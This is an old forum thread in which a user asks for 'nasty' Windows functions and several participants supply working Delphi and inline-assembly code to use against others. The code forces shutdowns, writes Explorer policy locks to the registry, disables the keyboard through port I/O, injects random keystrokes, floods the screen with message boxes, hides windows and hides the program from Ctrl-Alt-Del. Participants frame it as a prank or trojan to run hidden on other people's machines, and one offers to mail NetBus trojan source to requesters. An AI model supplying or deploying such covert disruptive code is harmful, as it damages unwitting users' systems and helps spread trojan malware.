Solved

nasty functions

Posted on 2000-04-15
56
581 Views
Last Modified: 2010-04-04
can you think of any nasty funkctions, like swithing the screen off, hiding the mouse, shutting down the computer ???
0
Comment
Question by:geoka
  • 17
  • 12
  • 12
  • +7
56 Comments
 
LVL 7

Expert Comment

by:Motaz
ID: 2718744
Shutting Down compouter:

  ExitWindowsEx(EWX_FORCE, 0);

Suspend the system:

  SetSystemPowerState(True, True);

Motaz
www.geocities.com/motaz1
0
 
LVL 11

Expert Comment

by:robert_marquardt
ID: 2718807
You should not have answered that
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2718831
motaz, just to help you out here.... How can they be nasty if the functions you call are windows are function?....

Is windows nasty?....


0
 
LVL 17

Expert Comment

by:inthe
ID: 2719191
is there any point to this ?
this isnt really the place to be asking these things ..
0
 

Author Comment

by:geoka
ID: 2719231
he guys, keep on the floor, it's of course only for private use, i don't wanna write a virus, or so in delphi, that is hardly possible i think.

to robert: why shoudn't he ???
to montaz: thx. is there any function call which switches back the systems to normal mode ???
0
 
LVL 7

Expert Comment

by:Motaz
ID: 2720035
Hi geoka,
I'm not sure, and what is the meaning of nasty?
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2720384
Motaz, i simply means to play tricks on someone, for example, pull a chair out on someone when they are about to sit down..... nasty... but i don't consider suspending the system nasty, although yes he stated nasty, is it really nasty to learn out how to reboot your computer.....

As long as you don't take advantage of it and run it hiddenly on someones computer..... just for personal use... i can't see the problem, there have been many people asking for the same, but with different title headers, even Barry (inthe)  himself has answered questions on how to get system passwords, now that could be used as some kind of "hacking" program?......

Let you decide for yourself on that one....

Craig C.
0
 
LVL 3

Expert Comment

by:bryan7
ID: 2721468
"how can I set the mouse cursor position ?"     100 points

SetCursorPos (x1,y1);


that could be a nasty function.. you can use it to cheat on someone with a hidden program.. any function can be "nasty" if you give it a "nasty" use.
0
 

Author Comment

by:geoka
ID: 2722058
bryan7: very cool. i thought of faking the user that he isn't able to move the cursor the a defined are, eg. to the start-button of the win-taskbar.
thx
0
 
LVL 17

Expert Comment

by:inthe
ID: 2724449
showcursor(false)  


showcursor(true)   ;-)
0
 
LVL 6

Expert Comment

by:Jaymol
ID: 2725742
Have a look at this URL...

   http://www.freeyellow.com/members4/jaymol/

If you like any of the progs, let me know and I can forward the source.

John.
0
 

Author Comment

by:geoka
ID: 2726123
to inthe: this works ? i'll have a try, upto now i did this with setting the position of the cursor to [-1;-1]. ;-))

to jaymol: thx, I'll have a look at it
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2726168
Jaymol, a cruel little joke....

1.remove your program from the task manager
2.in the close query event... put: canclose:=false;
3. Make your program invisible.....

4 - 5 days later, there fed up of the fact thier computer does not shutdown, they will format it... or worse :-)..... KICK  IT.


Craig C.


0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2726191
and yeah, your choice on if the program runs on startup.......

My contribution to this pathetic exploit of windows...

procedure addlock(num: integer);
var
  commandtobe,sKey : string;
  w: hwnd;
  reg  : TRegIniFile;
begin
{key:='(Default)';}
  reg := TRegIniFile.Create( '' );
  reg.RootKey := HKEY_CURRENT_USER;
  //folder = something to store info in
  //key = key to which edit the data
  //titleofkey = data for key mame
  //commandline.....
  //HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Policies
  {reg.erasesection('Software\Microsoft\Windows\CurrentVersion\Policies\');}
  case num of
    1: commandtobe:='NoClose'; //Disable Shutdown
    2: commandtobe:='NoDrives';
    3: commandtobe:='NoNetHood';
    4: commandtobe:='NoSetFolders';
     else
    commandtobe:='NoClose';
  end;
  case num of
     1: reg.writestring('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',commandtobe,'1');
     2: reg.writeinteger('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',commandtobe,67108863);
     3: reg.writestring('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',commandtobe,'1');
     4: reg.writestring('Software\Microsoft\Windows\CurrentVersion\Policies\Explorer',commandtobe,'1');
   end;
  reg.Free;
end;

procedure removelocks;
var
  reg  : TRegIniFile;
begin
{key:='(Default)';}
  reg := TRegIniFile.Create( '' );
  reg.RootKey := HKEY_CURRENT_USER;
  reg.erasesection('Software\Microsoft\Windows\CurrentVersion\Policies\');
  reg.Free;
end;


    1: commandtobe:='NoClose'; //Remove Shutdown Option
    2: commandtobe:='NoDrives'; //Remove Drives from my computer
    3: commandtobe:='NoNetHood'; //Disable network
    4: commandtobe:='NoSetFolders'; //Can't remember something intresting though? :)...

Removelocks simply removes what you did.... but these are supposed to be used on networks, so please don't even think about it.....

Craig C.
0
 

Author Comment

by:geoka
ID: 2726198
to craig_capel: i tryed this a week ago, the problem is that if you set action:=caNone in the OnClose event, the task-manager waits 10 seconds, and shuts the program down, because it donot react on his commands.
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2726202

 procedure OpenCloseCD(TrueForOpenFalseForClose: boolean);
{ Works as well as OpenCloseCDDrive() above, }
{ but you don't have to specify a drive letter. }
{ Thanks to Bence Parhuzamos [parhuzamos@yahoo.com] for this code. }
var
  mci: TMCI_Open_Parms;
begin
  FillChar(mci, SizeOf(mci), #0);
  mci.lpstrDeviceType := PChar('CDAudio');
  mciSendCommand(0, mci_Open, mci_Open_Type, Longint(@mci));
  mciSendCommand(mci.wDeviceID, mci_Set, 256*(Byte(not TrueForOpenFalseForClose)+1), 0);
  { MCI_SET_DOOR_OPEN = 256 }
  { MCI_SET_DOOR_CLOSED = 512 }
  mciSendCommand(mci.wDeviceID, mci_Close, 0, 0);
end;


openclosecd(true);  //opens the drive
openclosecd(false); //close the drive


Ok thats enough from me!...
0
 

Author Comment

by:geoka
ID: 2726205
okay, this code could work. that's stealth, isn't it ;-))
0
 
LVL 1

Expert Comment

by:nrico
ID: 2726333
The shutdown Motaz provided will not work. It's actually

  ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE,0);

If the computer has an ATX motherboard, the PC will even auto-poweroff.

Other neat trick:

  ShowWindow(FindWindow('Shell_TrayWnd',Nil),SW_HIDE);

This hides the taskbar. Of course, the user can still get the Start Menu by pressing the Win95-key.
There was a nice way using SystemParametersInfo() or something like that to disable ALL SYSTEM KEYS but I don't know it from memory.

To hang a computer, create a thread, set it to the highest possible priority and put an endless loop in it. This will eat up all CPU time (unless you have a really fast computer) --> I made this mistake a few times :-).

Oh wait, this is sneaky too:

  ShowWindow(FindWindow('Progman',Nil),SW_HIDE);

This hides the Program Manager -- ALL DESKTOP ICONS!

To confuse people: Create a form, set its style to Always On Top, and state to wsMaximized. Now put this in its OnPaint:

Procedure Form1.Form1Paint(Sender:TObjecT);
Begin
  PaintDesktop(Canvas.Handle);
End;

Your form will fill the whole screen, and it will paint the desktop wallpaper all over itself. So, the user won't be able to see anything. Problem is, the program can still be closed by Alt-F4 (rewrite the CloseQuery event) or Ctrl-Alt-Delete (Only way to prevent this is to disable system keys).

Yeah, there are *lots* of "nasty" things you can do in Windows... ;-).
0
 
LVL 1

Expert Comment

by:nrico
ID: 2726344
P.S. geoka --
  It IS possible to write a virus or Trojan in Delphi, just like it is possible in any other language (Except VB perhaps [grin]).
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2726487
LOL@grin, love it :)......
0
 

Author Comment

by:geoka
ID: 2727698
vb, get this bloody language outa here. ;-))
a trojan maybe, but not a real virus, like a bootsekrot-virus, you'll need assembler here. c wouldn't do this, too, maybe fragmentable but not the whole virus.

to nrico: thx. hiding taskbar already implemented. hiding desktop icons is very cool. :-))
i didn't know that overlaying the desktop can made as easy as well. i copyed into a dynamically cenerated bitmap first. alt+F4 can be shouted with adding key=0; into keydown or keyup event. :-)

by the way: there are many types of getting the system to a lower point, i mean, what are the parameters in ExitWindowsEx for logging of and rebooting ??

windows is nasty, you're right, if you can think of any other funktions i can use, just post it. :-)
0
 

Expert Comment

by:Grayl1
ID: 2731796
Something rely annoying is to take a timer to run a procedure every 5th second with the code

begin
  Randomize;
  SetCursorPos(Random(Screen.Width - 1) + 1, Random(Screen.Height - 1) + 1);
end;

Another rely annoying thing is to use the comp SetKey (http://delphi.icm.edu.pl/ftp/d20free/setkey.zip) and set SystemKey to kbOff. then the Ctrl, Alt, Esc and Win key will stop work.

To make the main form invisible click View -> Project Source and then write Application.ShowMainForm := False; just over Application.Run;.
0
 
LVL 1

Expert Comment

by:nrico
ID: 2731965
>by the way: there are many types of
>getting the system to a lower point, i
>mean, what are the parameters in
>ExitWindowsEx for logging of and
>rebooting ??

  ExitWindowsEx(Flags,0);

Flags can be any of this

  EWX_SHUTDOWN
  EWX_POWEROFF
  EWX_LOGOFF
  EWX_REBOOT

EXW_POWEROFF by itself isn't useful -- it has to be combined with EWX_SHUTDOWN, but I've noticed the system powers off as well if you simply use EWX_SHUTDOWN, so I guess EWX_POWEROFF is kind of useless.

All these can be combined (ORed or +ed) with EWX_FORCE to force all processes to terminate, i.e. Windows doesn't query the programs if they're OK to quit, just tells them to pack in and move out ;-).

Okay, so maybe a virus CAN'T be done, but a Trojan certainly can. I know, cuz I've done it once... [whoops] :-)

Something else that's VEEEEERY irritating is *lotsa* messageboxes --

  Repeat
    MessageBox(0,'Irritating, isn''t it?','Hello there!',MB_YESNO Or MB_ICONSTOP);
  Until (1=2); // Like that's gonna happen :-)

Oh, and this is cool too:
(It just isn't very useful, but what the hey :-)

Use the function EnumWindow() and combine it with SetWindowText().

I am not at my own computer so I can't check details right now, but using this trick you enumerate through ALL windows with a callback proc, and you get a hWnd passed to it. Using SetWindowText(), you can change the caption of ALL windows on your desktop to whatever you wish.

Umm.. did I mention you can use this technique in combination with SetWindowPos() (I believe) to move all windows to another location?
Hint: Move them to (Screen.DesktopWidth,Screen.DesktopHeight) so that they are all moved to the lower right corner of your desktop -- just out of sight ;-).
Of course, you can simply ShowWindow(hWnd,SW_HIDE) all of the windows. This hides *EVERYTHING*, including the taskbar and desktop icons you've already hidden.

Now... how about we want to generate a BLUE SCREEN OF DEATH at will? (This will also terminate your program, but oh well...)
Put this somewhere in your code and watch Windows' most famous screen:

  Asm INT 10h End;

To get back to Craig C's policies:
There are _MORE_ of those registry settings you can put there.
Just create a binary or integer with a value of 1 in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer, with one of the following names:

NoRun : Hide Execute command
NoFind : Hide Search
NoClose : Hide Close
NoSetFolders : Hide Control Pannel and printers
NoAddPrinter : You can't add printers
NoDeletePrinter : Well duh...
NoNetHood : Hide Network Neighbourhood
NoLogoff : You cannot log off

You can use POLEDIT.EXE (comes on your Windows CD, I believe under PowerTools) to set some restrictions on your own system and see what registry settings are being modified because of it. I can assure you, there's lotsa things more to restrict ;-)
0
 
LVL 3

Expert Comment

by:bryan7
ID: 2733329
in fact there is a very popular trojan written in delphi 3.. NETBUS
I got the source for the version 1.53 ( current is 2.1 )
0
 
LVL 3

Expert Comment

by:bryan7
ID: 2733334
in fact there is a very popular trojan written in delphi 3.. NETBUS
I got the source for the version 1.53 ( current is 2.1 )
0
 

Author Comment

by:geoka
ID: 2733700
netbus is written in delphi ? cool. i have guessed that when i was looking at the compiled code, because of the E... Objects.
he brain, may you forward me the code ??
geo@line.at

huge thx to nrico. this random-message-looping is already included but you can set the count to 20 or so, that it will only appear 20 times, hopefully. ;-).
emm.. isn't that a trojan what i'm writting ? i mean it will only work in a specific netzwork area, but it seems to me like to be one, isn't it ?
enumwindow(), setwindowtext(), setwindowpos() seam to me pretty annoying, should be included too. i don'`t think that they are found in the delphi-help file, so can you post me the syntax of these ??
ShowWindow(hWnd,SW_HIDE) ??
i know this command, but not with an hWnd (i did it with a handle). can you post an example how to use correct, because i didn't really know what an hWnd is.
blue screen, wow. must be included. by the way: does anybody know the assembler code to reset to computer, like pressing ctrl+alt+entf 2 times ???
0
 
LVL 1

Expert Comment

by:nrico
ID: 2733764
To reset the computer, use the EWX_REBOOT + EWX_FORCE flag in ExitWindowsEx.

It was MoveWindow(), not SetWindowPos().

These functions are all documented in your Win32 programmer's reference, which comes with Delphi 4.
In your start menu, go to Start|Programs|Borland Delphi 4|Help|MS SDK Files|Win32 Progammer's Reference.
I believe the file is located in c:\program files\common files\borland shared\MSHelp, but I'm not entirely sure about that...
If you don't have it, you should execute an FTP search on win32.hlp and download it (approx. 20Mb)
You can execute an FTP-search at
http://ftpsearch.lycos.com/?form=advanced

Actually, a hWnd is the same thing as a Handle. HWND is just the C++ way of saying "Handle of WiNDow", and the EnumWindow() function passes a handle to your callback proc for each top-level window on the desktop.
(HWND is a type in Delphi as well -- it's just an integer)
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2733899
I am supprised at all these responces, i bet EE are having a nightmare!...
0
How to run any project with ease

Manage projects of all sizes how you want. Great for personal to-do lists, project milestones, team priorities and launch plans.
- Combine task lists, docs, spreadsheets, and chat in one
- View and edit from mobile/offline
- Cut down on emails

 
LVL 2

Expert Comment

by:craig_capel
ID: 2733907
ok i think this is nasty.....


  asm
        in al,21h
        or al,2;
        out 21h,al;
 end;

This WILL only work on 95  / 98 systems, NT controls the use of ports......

I forget now what it is to put the keyboard back again.... hehe
0
 
LVL 1

Expert Comment

by:nrico
ID: 2733986
Craig, that simply rulez! ;-)

Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
--------------------------------------
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );

Parameters

lpEnumFunc
  Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
  Specifies an application-defined value to be passed to the callback function.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

Remarks
  The EnumWindows function does not enumerate child windows.

This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.

--------------------------------------
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);

Parameters
hwnd
  Handle to a top-level window.

lParam
  Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.

Return Values
  TRUE continues enumeration. FALSE stops enumeration.

Remarks
  An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.

--------------------------------------

int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);

Parameters
hWnd
  Handle to the window or control containing the text.

lpString
  Long pointer to the buffer that will receive the text.

nMaxCount
  Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.

Return Values
  The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.

This function cannot retrieve the text of an edit control in another application.

Remarks
  When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.

If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.

--------------------------------------

BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );

Parameters
hWnd
  Handle to the window or control whose text is to be changed.

lpString
  Long pointer to a null-terminated string to be used as the new title or control text.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

Remarks
  If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.

The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.

--------------------------------------

BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);

Parameters
hWnd
  Handle to the window.

X
  Specifies the new position of the left side of the window.

Y
  Specifies the new position of the top of the window.

nWidth
  Specifies the new width of the window.

nHeight
  Specifies the new height of the window.

bRepaint
  Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

--------------------------------------

Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);

Function GetWinTxt(Handle:HWND):String;
Var
  S:String;
  L:Integer;
Begin
  L:=GetWindowText(Handle,PChar(S),255);
  SetLength(S,L);  
  GetWinTxt:=S;
End;

Function EnumProc(Handle:HWND;Param:LPARAM):Boolean;
Begin
  Memo1.Lines.Add(GetWinTxt(Handle)+' (Handle='+IntToStr(Handle)+')');
  EnumProc:=True;
End;

Procedure Form1.Button1Click(Sender:TObject);
Begin
  EnumWindows(@EnumProc,0);    
End;

If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
0
 
LVL 1

Expert Comment

by:nrico
ID: 2733997
Craig, that simply rulez! ;-)

Okay, here are some API defs.
I copied and pasted these definitions from MSDN, I'll write an example afterwards:
--------------------------------------
BOOL EnumWindows( WNDENUMPROC lpEnumFunc, LPARAM lParam );

Parameters

lpEnumFunc
  Long pointer to an application-defined callback function. For more information, see EnumWindowsProc.
lParam
  Specifies an application-defined value to be passed to the callback function.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

Remarks
  The EnumWindows function does not enumerate child windows.

This function is more reliable than calling the GetWindow function in a loop. An application that calls GetWindow to perform this task risks being caught in an infinite loop or referencing a handle to a window that has been destroyed.

--------------------------------------
BOOL CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam);

Parameters
hwnd
  Handle to a top-level window.

lParam
  Specifies the application-defined value given in EnumWindows or EnumDesktopWindows.

Return Values
  TRUE continues enumeration. FALSE stops enumeration.

Remarks
  An application must register this callback function by passing its address to EnumWindows or EnumDesktopWindows.

--------------------------------------

int GetWindowText( HWND hWnd, LPTSTR lpString, int nMaxCount);

Parameters
hWnd
  Handle to the window or control containing the text.

lpString
  Long pointer to the buffer that will receive the text.

nMaxCount
  Specifies the maximum number of characters to copy to the buffer, including the NULL character. If the text exceeds this limit, it is truncated.

Return Values
  The length, in characters, of the copied string, not including the terminating null character, indicates success. Zero indicates that the window has no title bar or text, if the title bar is empty, or if the window or control handle is invalid. To get extended error information, call GetLastError.

This function cannot retrieve the text of an edit control in another application.

Remarks
  When working with RAPI for Windows CE versions 1.0 and 1.01, use the PegGetWindowText function.

If the target window is owned by the current process, GetWindowText causes a WM_GETTEXT message to be sent to the specified window or control. If the target window is owned by another process and has a caption, GetWindowText retrieves the window caption text. If the window does not have a caption, the return value is a null string.

--------------------------------------

BOOL SetWindowText( HWND hWnd, LPCTSTR lpString );

Parameters
hWnd
  Handle to the window or control whose text is to be changed.

lpString
  Long pointer to a null-terminated string to be used as the new title or control text.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

Remarks
  If the target window is owned by the current process, SetWindowText causes a WM_SETTEXT message to be sent to the specified window or control. If the control is a list box control created with the WS_CAPTION style, however, SetWindowText sets the text for the control, not for the list box entries.

The SetWindowText function does not expand tab characters (ASCII code 0x09). Tab characters are displayed as vertical bar (|) characters.

--------------------------------------

BOOL MoveWindow( HWND hWnd, int nX, int nY, int nWidth, int nHeight,
BOOL bRepaint);

Parameters
hWnd
  Handle to the window.

X
  Specifies the new position of the left side of the window.

Y
  Specifies the new position of the top of the window.

nWidth
  Specifies the new width of the window.

nHeight
  Specifies the new height of the window.

bRepaint
  Boolean that specifies whether the window is to be repainted. If this parameter is TRUE, the window receives a WM_PAINT message. If the parameter is FALSE, no repainting of any kind occurs. This applies to the client area, the nonclient area (including the title bar and scroll bars), and any part of the parent window uncovered as a result of moving a child window. If this parameter is FALSE, the application must explicitly invalidate or redraw any parts of the window and parent window that need redrawing.

Return Values
  Nonzero indicates success. Zero indicates failure. To get extended error information, call GetLastError.

--------------------------------------

Here's an example. It assumes you have a TMemo component named Memo1 on your form, and a TButton named Button1.
(The event is the button's OnClick);

Function GetWinTxt(Handle:HWND):String;
Var
  S:String;
  L:Integer;
Begin
  L:=GetWindowText(Handle,PChar(S),255);
  SetLength(S,L);  
  GetWinTxt:=S;
End;

Function EnumProc(Handle:HWND;Param:LPARAM):Boolean;
Begin
  Memo1.Lines.Add(GetWinTxt(Handle)+' (Handle='+IntToStr(Handle)+')');
  EnumProc:=True;
End;

Procedure Form1.Button1Click(Sender:TObject);
Begin
  EnumWindows(@EnumProc,0);    
End;

If you click the button, this snippet will enumerate all windows and write their caption+handle to the Memo.
Of course, you could do whatever you wish in the EnumProc() function... ;-)
0
 

Author Comment

by:geoka
ID: 2736134
uuhhh. just, i was suprised what "self-dynamics" my question had developed. superbe!

enumwindow(), movewindow() ... what should i say, great functions if you use them correct. ;-o)

i don't know how to thank all of you guys, i didn't excpect to get that count of answers. special thx to nrico, before i forget, and od course craig.

to my reset question: EWX_REBOOT + EWX_FORCE really reboots the computer ?? i mean if you press ctrl+alt+entf twice the computer is rebooted without shutting down windows. is this wat this attributes already do ?
i lost one post above about opening cd: cool code, but i think this solution is more suitable:

mciSendString('Set cdaudio door open wait',nil,0,application.handle) //open

mciSendString('Set cdaudio door close wait',nil,0,application.handle) //close (if i remember correctly)

are there any other api-functions which let me control any values od other apps in windows, i mean something like movewindow() or showwindow() or so.

 asm
                              in al,21h
                              or al,2;
                              out 21h,al;
                       end;

disables the keyboard ? yeah, that's nasty. but would be very nice to get it back without rebooting, wouldn't it? :-)
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2736167
ok ok u want the code to get it back then?....

asm
      in al,21h
      or al,2;
      out 21h,al;
end;


To turn it back on again moaner..... :-)

asm
    in al,21h
    and al,253;
   out 21h,al;
end;  

Craig C.
0
 

Author Comment

by:geoka
ID: 2737425
thx. i was wondering wheter it is possible to change the country-code of the keyboard for some seconds, that would be nice, if you write something in word or so, and the next time you look at the screen you would see egypt characters, or so.
emm..what is  EWX_REBOOT + EWX_FORCE doing ?? really reseting the computer ??
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2737653
unit ghost1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, StdCtrls;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Edit1: TEdit;
    Edit2: TEdit;
    procedure Timer1Timer(Sender: TObject);
    procedure FormActivate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  c: integer;
 r2,r: byte;
 ch: char;
 n,n2: integer;
 slw: longint;
 s: string;

implementation

{$R *.DFM}

procedure TForm1.Timer1Timer(Sender: TObject);
begin
asm
 in al,60h;
 mov r,al;
end;
edit1.text:=inttostr(r);
edit2.text:=inttostr(r2);
   if r2<>r then
       if random(9)=random(9) then
         begin
 {      keybd_event(ord(upcase(s[n])),0,0,0);}
      keybd_Event(random(25)+65,0,0, 0);
     keybd_Event(ord('F'),0,KEYEVENTF_KEYUP, 0);
      application.processmessages;
      n:=0;
        end;
     r2:=R;

  End;

procedure TForm1.FormActivate(Sender: TObject);

var
w: hwnd;
begin
showwindow(form1.handle,sw_hide);
  w:=findwindow('tapplication',nil);
  showwindow(w,sw_hide);
end;

end.

Compile This, beats keyboard mapping....
0
 

Author Comment

by:geoka
ID: 2737961
i'm sorry, don't know what keyboard mapping is ?
i only can guess what the program does: disabling the keyboard and typing another letter whenever the user types one ???
if it doesn't do that, is this possible to do ??
0
 
LVL 1

Expert Comment

by:nrico
ID: 2740939
I believe the code is sending random characters to the active app.

Anyway, ExitWindowsEx(EWX_SHUTDOWN Or EWX_FORCE,0) does NOT just reboot the computer. It shuts down Windows nicely, then reboots, but it will ALWAYS shutdown Windows (That is -- unless Windoze crashes ;-) without waiting for programs to signal that they're OK to close.
0
 
LVL 1

Expert Comment

by:nrico
ID: 2740947
Oh and Craig, I don't believe the code to _hide_ your program is entirely correct.
It should be:

Procedure TForm1.FormActivate(Sender: TObject);
Begin
  ShowWindow(Handle,SW_HIDE);
  ShowWindow(Application.Handle,SW_HIDE);
End;

One last thing that might be interesting...
This procedure will hide your program from the Ctrl-Alt-Del system dump:


Function RegisterServiceProcess(dwProcessID,dwType:DWORD):DWORD; stdcall; external 'KERNEL32.DLL';

In your FormCreate put this

RegisterServiceProcess(GetCurrentProcessID,1);

to hide your program, in the FormDestroy put this

RegisterServiceProcess(GetCurrentProcessID,0);

to clean up behind you.
0
 
LVL 1

Expert Comment

by:nrico
ID: 2740949
P.S: You need to put the function-declaration somewhere in your unit as well.
0
 

Author Comment

by:geoka
ID: 2741429
i wrote an app, containing all the functions listed above. just with buttons to see what they do.i'll but it in the net, so everybody who likes to could download it. if i've done this i'll post the url here, of course. registerServiceProcess is cool, i don'T know exactly but bryan7 or so, said this above, too. oh no. i remeber it was my other question launching apps with registry. hide_progr_function already included, i think that code is nearly common. havent compiled ghost jet, but i'll do this for shure.
i tryed the enumwindow() function today, but it didn't really work. i'll put the code and the prog on the net, as i said, my you have a look at it, why i doesn't work. in the general programming are i got some hints to functions like WEnumReturnChachedPasswords or so, i don't hae a win32.hlp jet, so maybe you could check out that too. all buttons with a '_' in front of the text doesn't work, all with a '*' are working partly.
the assembler code of craig works fine(disabling the keyboard), but the type cache isn't cleared, i mean, it's annoying too, if you regonice, that your're typing for nothing, beating your keyboard up and see 20 sec later all the carracters.
i'll uploaded it now: http://www.line.at/delphi/nasty.zip
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2741487
Geoka  " i was wondering wheter it is possible to change the country-code of the keyboard for some seconds,  that would be nice, if you write mething in word or so, and the next time you look at the screen you  would see  egypt characters, or so. "


That program i posted works in 95  /  98, it checks to see if the keyboard is begin accessed and if it is, it will pump out a couple illegal chars just as you asked..... Can be annoying if their typing a word document out.... Try it kinda fun to watch.....
0
 

Author Comment

by:geoka
ID: 2741539
great deal. i was just wondering wheter i should ask this question in assembler topic area, maybe they could provide me some useful functions ? ;-o
the rpoggi is now on the web. check it out (incl. source of course).
0
 
LVL 1

Expert Comment

by:nrico
ID: 2741660
That will be kind of difficult if you don't give us the URL... :-)

P.S: I do object to putting this program on the web. It is potentially harmful, and there are a LOT of wannabe-hackers out there that jump at the chance of downloading such a program. Instead of just learning to code themselves :-).
0
 

Author Comment

by:geoka
ID: 2742468
he..just look above, but one more time for you ;-)):
http://www.line.at/delphi/nasty.zip
hope you and nrico and all the others who helped me with this question, would download it in the next week, i mean, i'll put it off the web, cause there are many of these pseudo-hackers, absolutely correct. :-)
just tell me if you guys hav loaded it down, or ll send it to you by mail, too.
and dom't forget please, have a look at the enumwindow() fanction.
thx.
0
 
LVL 1

Expert Comment

by:nrico
ID: 2745135
The errors with the EnumWindows() are my fault... :-(

I'll correct them here:

You'll need to define the callback procedure with "stdcall" as well, so it will look like this:

Function EnumProc(Handle:HWND;Param:LPARAM):Boolean; stdcall;

This tells Delphi that the EnumProc function has to be treated as a C function instead of a Pascal function.

And I have to rewrite the GetWinTxt() function:

Function GetWinTxt(Handle:HWND):String;
Var
  S:ShortString;
Begin
  Byte(S[0]):=GetWindowText(Handle,@S[1],255);
  GetWinTxt:=S;
End;
0
 
LVL 3

Expert Comment

by:bryan7
ID: 2746135
about netbus sources.. whoever wants it, drop your emails and I'll send it to ya all at once.. ( I got 2400 bps conn. )
0
 

Expert Comment

by:Grayl1
ID: 2747006
Bryan7...
I would RELY want you to mail the NetBus sources to me (erik_83@emaila.nu)

Thanx
0
 

Author Comment

by:geoka
ID: 2747204
me too, yes, please mail me the source, i mean, just to learn from. netbus is alive, there's no need for writing one more of this "tools".
geo@line.at
0
 

Author Comment

by:geoka
ID: 2763801
what about the code now ?? first you post that you'll send it to all, who drop their e.mail adr. here, but i havn't received anything the last week. give me a go.

by the way, does anybody not agree with me if i give craig_capel and nrico each 100 points ???
0
 
LVL 2

Expert Comment

by:craig_capel
ID: 2763920
no but thanks for the offer, i don't think i could accept points for the information i gave out, EE would have a feild day...

Thanks but no thanks ;-)

Craig C.
0
 

Author Comment

by:geoka
ID: 2764652
how stupid i am, but i'm not a native and i was wondering was feild means.
but anyway. du you think that the points DO belong to anybody ???
i should this question remain unlocked for ever ??
0
 
LVL 3

Expert Comment

by:bryan7
ID: 2767963
k, I'm sending netbus source to
geo@line.at
and
erik_83@emaila.nu
0
 

Expert Comment

by:Grayl1
ID: 2777047
Bryan7...

I have still not got the code...
Pleas, email me the code to erik_83@emaila.nu or if that doesn't work ea83@usa.net

I would rely appreciate if you could that for me...
0
 
LVL 1

Accepted Solution

by:
nrico earned 50 total points
ID: 2787539
I would like the NetBus code as well (if you're still mailing it, that is...). I've been away for 2 weeks :-).

n__rico@hotmail.com

And if nobody has a problem with that, I wouldn't minde the points ;-)
0
 

Author Comment

by:geoka
ID: 2788251
to get this question to an end. please tell me, if you want tho points, too, craig: you did your job well.
0
 

Expert Comment

by:ebi1
ID: 5906344
Bryan7...

Can you please send me the NetBus sources ?
I only need the part where NetBus is hiding itself from memory tools
like "Norton SysInfo" and "MS System Information" and a like.

Thank you VERY MUCH
Eitan
ebi1@netscape.net
0

Featured Post

Why You Should Analyze Threat Actor TTPs

After years of analyzing threat actor behavior, it’s become clear that at any given time there are specific tactics, techniques, and procedures (TTPs) that are particularly prevalent. By analyzing and understanding these TTPs, you can dramatically enhance your security program.

Join & Write a Comment

This article explains how to create forms/units independent of other forms/units object names in a delphi project. Have you ever created a form for user input in a Delphi project and then had the need to have that same form in a other Delphi proj…
Introduction Raise your hands if you were as upset with FireMonkey as I was when I discovered that there was no TListview.  I use TListView in almost all of my applications I've written, and I was not going to compromise by resorting to TStringGrid…
